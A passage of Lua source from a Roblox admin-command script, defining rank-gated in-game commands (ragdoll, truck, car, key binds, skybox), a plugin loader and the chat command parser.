8316 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8317 end
8318 end};
8319
8320 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8321 local Players = STRING:Scan(Arguments[1], Speaker)
8322 for _,Player in pairs(Players) do
8323 if Player.Character and Player.Character:FindFirstChild("Head") then
8324 local Char = Player.Character
8325 Char:BreakJoints()
8326 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8327 Obj.Anchored = true
8328 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8329 local Decal = Instance.new("Decal", Obj)
8330 Decal.Texture = "rbxassetid://178913323"
8331 Decal.Face = Face
8332 end
8333 end)
8334 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8335 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8336 Sound1:Play() Sound2:Play()
8337 coroutine.wrap(function()
8338 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8339 repeat wait()
8340 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8341 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8342 Obj.Transparency = math.random(0,30)/100
8343 Obj.Reflectance = math.random(0,50)/100
8344 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8345 end)
8346 until Char ~= Player.Character or Char.Parent == nil
8347 end)()
8348 end
8349 end
8350 end, Hidden = true};
8351
8352 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8353 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8354 end, Http = true};
8355
8356 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8357 local Players = STRING:Scan(Arguments[1], Speaker)
8358 for _,Player in pairs(Players) do
8359 if Player.Character then
8360 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8361 Obj.Material = "Neon"
8362 end)
8363 end
8364 end
8365 end};
8366
8367 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8368 local Players = STRING:Scan(Arguments[1], Speaker)
8369 for _,Player in pairs(Players) do
8370 if Player.Character then
8371 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8372 Obj.Material = "Plastic"
8373 end)
8374 end
8375 end
8376 end};
8377
8378 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8379 local Players = STRING:Scan(Arguments[1], Speaker)
8380 for _,Player in pairs(Players) do
8381 if Player.Character then
8382 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8383 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8384 end)
8385 end
8386 end
8387 end, Hidden = true};
8388
8389 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8390 local Players = STRING:Scan(Arguments[1], Speaker)
8391 for _,Player in pairs(Players) do
8392 if Player.Character and Player.Character:FindFirstChild("Torso") then
8393 local Pos = Player.Character.Torso.Position
8394 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8395 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8396 if Answer == "Ok" then
8397 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8398 end
8399 end
8400 end
8401 end};
8402
8403 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8404 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8405 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8406 if PlayersFrom and PlayersTo then
8407 for _,PlayerFrom in pairs(PlayersFrom) do
8408 for _,PlayerTo in pairs(PlayersTo) do
8409 if PlayerFrom.Character and PlayerTo.Character then
8410 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8411 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8412 wait(5)
8413 Laser:Destroy()
8414 end)() end
8415 end
8416 end
8417 end
8418 end
8419 end};
8420
8421 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8422 local Players = STRING:Scan(Arguments[1], Speaker)
8423 for _,Player in pairs(Players) do
8424 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8425 Player.Character.Humanoid:Destroy()
8426 end
8427 end
8428 end};
8429
8430 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8431 if Plugins then
8432 local List = {}
8433 for _,Module in pairs(Plugins:GetChildren()) do
8434 if Module:IsA("ModuleScript") then
8435 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8436 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8437 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8438 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8439 end
8440 end
8441 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8442 else
8443 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8444 end
8445 end};
8446
8447 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8448 local Players = STRING:Scan(Arguments[1], Speaker)
8449 for _,Player in pairs(Players) do
8450 GUI:DetachChat(Player)
8451 end
8452 end};
8453
8454 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8455 GUI:DetachChat(Speaker)
8456 end};
8457
8458 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8459 local Players = STRING:Scan(Arguments[1], Speaker)
8460 for _,Player in pairs(Players) do
8461 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8462 local Dead = false
8463
8464 Player.Character.Humanoid.WalkSpeed = 1
8465 local Torso = Player.Character.Torso
8466 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8467 Truck:BreakJoints()
8468 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8469 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8470 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8471 Truck.Touched:connect(function(Part)
8472 if Dead == false then
8473 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8474 if TouchPlayer == Player then
8475 Dead = true
8476 Player.Character:BreakJoints()
8477 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8478 end
8479 end
8480 end)
8481 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8482 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8483 Delay(5, function()
8484 Truck:Destroy()
8485 if Player.Character:FindFirstChild("Humanoid") then
8486 Player.Character.Humanoid.WalkSpeed = 16
8487 end
8488 end)
8489 end
8490 end
8491 end};
8492
8493 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8494 local Joke = REMOTE:DownloadJoke(Speaker)
8495 local Players = STRING:Scan(Arguments[1], Speaker)
8496 for _,Player in pairs(Players) do
8497 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8498 end
8499 end, Http = true};
8500
8501 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8502 local Joke = REMOTE:DownloadJoke(Speaker)
8503 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8504 end, Http = true};
8505
8506 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8507 local Players = STRING:Scan(Arguments[1], Speaker)
8508 for _,Player in pairs(Players) do
8509 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8510 CORE:InvisiblePlayer(Player)
8511 local DogContainer = Instance.new("Model", Player.Character)
8512 DogContainer.Name = "Doge"
8513 local Dog = CORE:Insert(257489726, DogContainer, true)
8514 Dog.Head.Transparency = 0.99
8515 Dog.Name = Player.Name
8516 Dog:MoveTo(Player.Character.Torso.Position)
8517 local Weld = Instance.new("Weld", Dog.Torso)
8518 Weld.Part0 = Player.Character.Torso
8519 Weld.Part1 = Dog.Torso
8520 Weld.C0 = CFrame.new(0,-0.4,0)
8521 for _,Obj in pairs(Dog:GetChildren()) do
8522 if Obj:IsA("BasePart") then
8523 Obj.CanCollide = false
8524 end
8525 end
8526
8527 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8528 end
8529 end
8530 end};
8531
8532 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8533 local Key = string.lower(string.sub(Arguments[1],1,1))
8534 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8535 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8536 end};
8537
8538 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8539 local Key = string.lower(string.sub(Arguments[1],1,1))
8540 KeyBinds[Speaker.UserId][Key] = nil
8541 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8542 end};
8543
8544 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8545 KeyBinds[Speaker.UserId] = {}
8546 GUI:SendHint(Speaker, "Unbinded all keys")
8547 end};
8548
8549 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8550 local Players = STRING:Scan(Arguments[1], Speaker)
8551 local Key = string.lower(string.sub(Arguments[2],1,1))
8552 for _,Player in pairs(Players) do
8553 KeyBinds[Player.UserId][Key] = Arguments[3]
8554 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8555 end
8556 end};
8557
8558 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8559 local Players = STRING:Scan(Arguments[1], Speaker)
8560 local Key = string.lower(string.sub(Arguments[2],1,1))
8561 for _,Player in pairs(Players) do
8562 KeyBinds[Player.UserId][Key] = nil
8563 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8564 end
8565 end};
8566
8567 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8568 local Players = STRING:Scan(Arguments[1], Speaker)
8569 for _,Player in pairs(Players) do
8570 KeyBinds[Player.UserId] = {}
8571 GUI:SendHint(Player, "Unbinded all keys")
8572 end
8573 end};
8574
8575 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8576 local Players = STRING:Scan(Arguments[1], Speaker)
8577 local Binds = {}
8578 for _,Player in pairs(Players) do
8579 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8580 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8581 end
8582 end
8583 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8584 end};
8585
8586 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8587 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8588 local Players = STRING:Scan(ChatSplit[1], Speaker)
8589 for _,Player in pairs(Players) do
8590 if Crowns[Player.UserId] then
8591 Crowns[Player.UserId]:Destroy()
8592 Crowns[Player.UserId] = nil
8593 wait()
8594 end
8595 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8596 end
8597 end};
8598
8599 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8600 local Players = STRING:Scan(Arguments[1], Speaker)
8601 for _,Player in pairs(Players) do
8602 if Crowns[Player.UserId] then
8603 Crowns[Player.UserId]:Destroy()
8604 Crowns[Player.UserId] = nil
8605 end
8606 end
8607 end};
8608
8609 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8610 local MeshList = {}
8611 for MeshName,Data in pairs(Meshes) do
8612 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8613 end
8614 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8615 end};
8616
8617 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8618 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8619 end};
8620
8621 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8622 local Players = STRING:Scan(Arguments[1], Speaker)
8623 for _,Player in pairs(Players) do
8624 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8625 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8626 Player:ClearCharacterAppearance()
8627 CORE:GivePackage(Player, 41851073)
8628 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8629 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8630 end
8631 end
8632 end};
8633
8634 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8635 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8636 local Players = STRING:Scan(Arguments[1], Speaker)
8637 for _,Player in pairs(Players) do
8638 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8639 local Car = CORE:Insert(10479801, Server.Workspace, true)
8640 local Body = Car["Motor (torque)Chassis"].Part
8641 Cars[Player.UserId] = Car
8642 Car:MakeJoints()
8643 Car.VehicleSeat.MaxSpeed = 50
8644 Car.VehicleSeat.TurnSpeed = 1.5
8645 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8646 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8647 Body.Color = GUI:GetColor(Arguments[2])
8648 else
8649 Body.BrickColor = GUI:GetNameColor(Player.Name)
8650 end
8651 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8652 if Part.Name ~= "Part" then
8653 Part.BrickColor = BrickColor.new("Really black")
8654 Part.Friction = 0.7
8655 end
8656 end
8657 local Light = Instance.new("SpotLight", Body)
8658 Light.Face = "Back"
8659 Light.Brightness = 5
8660 Light.Range = 20
8661 Light.Color = Color3.new(0,1,1)
8662 if Player.Character and Player.Character.Torso then
8663 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8664 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8665 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8666 Weld.Part0 = Car.VehicleSeat
8667 Weld.Part1 = Player.Character.Torso
8668 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8669 Delay(0.4, function()
8670 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8671 wait(0.1)
8672 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8673 end)
8674 end
8675 local SoundID = 147944604
8676 if RANK:GetRank(Player) == "Owner" then
8677 SoundID = 133313356
8678 Car.VehicleSeat.MaxSpeed = 80
8679 Body.Material = "DiamondPlate"
8680 Car.VehicleSeat.Torque = 11
8681 end
8682 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8683 Engine:Play()
8684 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8685 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8686 end if Engine then Engine:Stop() end end)()
8687 end
8688 end};
8689
8690 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8691 local Players = STRING:Scan(Arguments[1], Speaker)
8692 for _,Player in pairs(Players) do
8693 if Cars[Player.UserId] then
8694 Cars[Player.UserId]:Destroy()
8695 end
8696 end
8697 end};
8698
8699 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8700 for _,Car in pairs(Cars) do
8701 Car:Destroy()
8702 end
8703 Cars = {}
8704 end};
8705
8706 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8707 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8708 if #Trello.RequiredLists > 0 then
8709 print("Restarting Trello")
8710 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8711 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8712 REMOTE:TrelloCacheData(Lists)
8713 end
8714 end, Http = true};
8715
8716 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8717 local Operations = {}
8718 for _,ReplaceData in pairs(StringReplacements) do
8719 local Replacement = ReplaceData[1]
8720 if type(Replacement) == "table" then
8721 Replacement = ReplaceData[1][1]
8722 end
8723 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8724 end
8725 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8726 end};
8727
8728 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8729 GUI:SoundInfo(Speaker)
8730 end};
8731
8732 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8733 local Players = STRING:Scan(Arguments[1], Speaker)
8734 for _,Player in pairs(Players) do
8735 GUI:SoundInfo(Player)
8736 end
8737 end};
8738
8739 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8740 if tonumber(Arguments[1]) then
8741 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8742 end
8743 end};
8744
8745 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8746 local Types = {}
8747 for Type,_ in pairs(Assets.AccessoryTypes) do
8748 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8749 end
8750 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8751 end};
8752
8753 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8754 local Sky = Server.Lighting:FindFirstChild("Sky")
8755 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8756 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8757 local Face = nil
8758 local SkyID = string.lower(Arguments[1])
8759 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8760 if #Arguments == 2 and tonumber(Arguments[2]) then
8761 Face = Arguments[1]
8762 SkyID = Arguments[2]
8763 end
8764 if tonumber(SkyID) then
8765 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8766 if Face and Faces[Face] then
8767 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8768 else
8769 for _,Face in pairs(Faces) do
8770 Sky[Face] = "rbxassetid://"..ImageID
8771 end
8772 end
8773 else
8774 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8775 end
8776 end};
8777
8778 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8779 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8780 Obj:Destroy()
8781 end)
8782 end};
8783 --
8784}
8785
8786if Plugins then
8787 local PluginNum = 0
8788 for _,Module in pairs(Plugins:GetChildren()) do
8789 if Module:IsA("ModuleScript") then
8790 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8791 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8792 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8793 if Enabled.Value == true then
8794 PluginNum = PluginNum + 1
8795 local PluginExe = require(Module)
8796 for Var,Val in pairs(getfenv()) do
8797 getfenv(PluginExe)[Var] = Val
8798 end
8799 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8800 getfenv(PluginExe).script = Module
8801 getfenv(PluginExe).Script = Module
8802 getfenv(PluginExe).Version = Version
8803 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8804 if not Suc then
8805 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8806 else
8807 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8808 end
8809 end
8810 end
8811 end
8812end
8813
8814function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8815 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8816 GUI:SettingsGui(Speaker)
8817 return nil
8818 end
8819 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8820 local Prefix = Settings.Prefix
8821 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8822 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8823 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8824 if Speaker == nil then
8825 if FakeRank then
8826 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8827 FakeRank = "Owner"
8828 end
8829 else
8830 FakeRank = "Owner"
8831 end
8832 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8833 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8834 Speaker = {
8835 Name = FakePlayerName or "[ Server ]";
8836 Character = nil;
8837 userId = 1;
8838 PlayerGui = nil;
8839 Rank = FakeRank or "Owner";
8840 MakeSupremeOwner = MakeSupremeOwner;
8841 }
8842 end
8843 local Rank = RANK:GetRank(Speaker)
8844 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8845
8846 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8847 if NoPrefixNeeded then Prefix = "" end
8848 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8849
8850 for _,Message in pairs(Messages) do
8851 for Cmds,Data in pairs(Commands) do -- check all commands
8852 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8853
8854 if not MessageSplit then break end
8855
8856 local CommandSaid = false
8857 for _,Command in pairs(Cmds) do
8858 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8859 CommandSaid = true
8860 break
8861 end
8862 end
8863 if CommandSaid == true then -- command said?
8864 local ExecuteExcuse = ""
8865 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8866 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8867 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8868 end
8869 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8870 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8871 end
8872 else
8873 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8874 end
8875 if ExecuteExcuse == "" then
8876 if #MessageSplit - 1 < Data[3] then
8877 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8878 end
8879 end
8880 if ExecuteExcuse == "" then
8881 CORE:Log(CommandLogs, Speaker, Message)
8882 table.remove(MessageSplit, 1)
8883 coroutine.wrap(function() wait()
8884 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8885 if not DidExe then
8886 if CORE:NilPlayer(Speaker) then
8887 print("Error: "..Error)
8888 else
8889 CORE:HandleError(Error, Speaker)
8890 end
8891 end
8892 end)()
8893 coroutine.wrap(function() wait(0.05)
8894 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8895 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8896 ExeSound:Play()
8897 wait(3)
8898 ExeSound:Stop()
8899 ExeSound:Destroy()
8900 end
8901 end)()
8902 elseif type(Speaker) == "userdata" then
8903 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8904 end
8905 break
8906 end
8907 end
8908 end
8909 end
8910end
8911
8912function CORE:Start(Player) coroutine.wrap(function()
8913 wait(0.1)
8914 if Player then
8915 coroutine.wrap(function()
8916 repeat wait(1) until DataReady == true
8917 DataReady = false
8918 ypcall(function()
8919 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8920 for Num,Data in pairs(Players) do
8921 if Data.UserId == Player.UserId then -- ppl can change names
8922 table.remove(Players, Num)
8923 break
8924 end
8925 end
8926 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8927 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8928 end)
8929 DataReady = true
8930 end)()
8931
8932 if not IsStudio then Player:WaitForDataReady() end
8933 table.insert(CharacterCache, {Player.Name, Player.UserId})
